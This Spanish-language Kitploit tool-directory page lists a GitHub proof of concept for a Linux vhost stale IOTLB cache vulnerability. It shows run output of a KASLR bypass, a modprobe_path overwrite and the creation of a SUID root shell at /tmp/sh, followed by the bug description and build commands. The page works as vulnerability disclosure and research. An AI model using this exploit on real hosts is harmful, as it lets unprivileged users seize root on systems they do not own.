Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-74580 — Prueba de concepto en C para CVE-2026-74580: explota la caché de metadatos IOTLB obsoleta de vhost para sobrescribir modprobe_path y escalar a root en hosts Linux x86-64. | Kitploit
Herramientas/GitHubGitHub/abc00012345/cve-2026-74580
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPapers e InvestigaciónExplotación de Binarios
GitHubabc00012345/cve-2026-74580

CVE-2026-74580

Prueba de concepto en C para CVE-2026-74580: explota la caché de metadatos IOTLB obsoleta de vhost para sobrescribir modprobe_path y escalar a root en hosts Linux x86-64.

Ver Repositorio
21hace 23 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Vghost — CVE-2026-74580

Código original y archivo readme de: https://github.com/zhangutah/security-research

escalada de privilegios en linux

Salida esperada:

./poc
=== vhost stale IOTLB metadata cache -> modprobe_path write ===
[*] static: _stext=0xffffffff81000000 asm_exc_de=0xffffffff81001030 modprobe_path=0xffffffff83731920
[*] modprobe_path before: "/tmp/pwn"

[*] Step 1: KASLR bypass via IDT[0]
[*] reading IDT[0] @ 0xfffffe0000000000
[+] asm_exc_divide_error runtime 0xffffffffa4e01030, slide 0x23e00000
[+] runtime modprobe_path @ 0xffffffffa7531920

[*] Step 2: overwriting modprobe_path with a marker
[+] kwrite_str: "/tmp/pwn" -> 0xffffffffa7531920

[*] Step 3: verifying via /proc/sys/kernel/modprobe
[*] modprobe_path after:  "/tmp/pwn"

[*] Step 4: Privilege Escalation
[+] Triggered request_module() call.
[+] SUID shell created at /tmp/sh
[*] Exec shell at /tmp/sh ...

sh-5.3# whoami
root

Descripción

vq->meta_iotlb[] almacena en caché la asignación IOTLB detrás de cada región de metadatos del vring (desc / avail / used). VHOST_SET_VRING_ADDR y VHOST_SET_VRING_NUM no restablecen esa caché. Con un IOTLB de dispositivo adjunto, un vq activo puede traducir un vring reconfigurado mediante una asignación que ya no lo cubre. vhost_vq_meta_fetch() no realiza comprobación de rango, y el resultado se pasa a __copy_to_user() / __copy_from_user().

La misma caché obsoleta es accesible desde un invitado cuando vhost se ejecuta en modo device-IOTLB (VIRTIO_F_ACCESS_PLATFORM / vIOMMU) y el invitado restablece una virtqueue mediante VIRTIO_F_RING_RESET. Esa ruta no es este PoC.

  • CVE: CVE-2026-74580 (CVSS 8.8)
  • Análisis: Vghost
  • Corrección: de845981da67

poc.c es un PoC para host x86-64 contra /dev/vhost-vsock. Abre una shell de root con euid=0. Crea /tmp/sh como suid root. ¡Elimina el archivo después de probarlo manualmente!

Uso

cc -O2 -Wall -Wextra -o poc poc.c
./poc

La búsqueda de símbolos utiliza, en orden: $SYSTEM_MAP, /boot/System.map-$(uname -r), /usr/lib/modules/$(uname -r)/build/System.map. modprobe_path debe estar presente; asm_exc_divide_error recurre a una dirección estática si falta.

El proceso debe poder abrir /dev/vhost-vsock. Algunas imágenes incluyen ese nodo con 0666; otras con 0660 root:kvm.

Ejecútalo solo en un sistema de prueba desechable de tu propiedad.

Descargar herramienta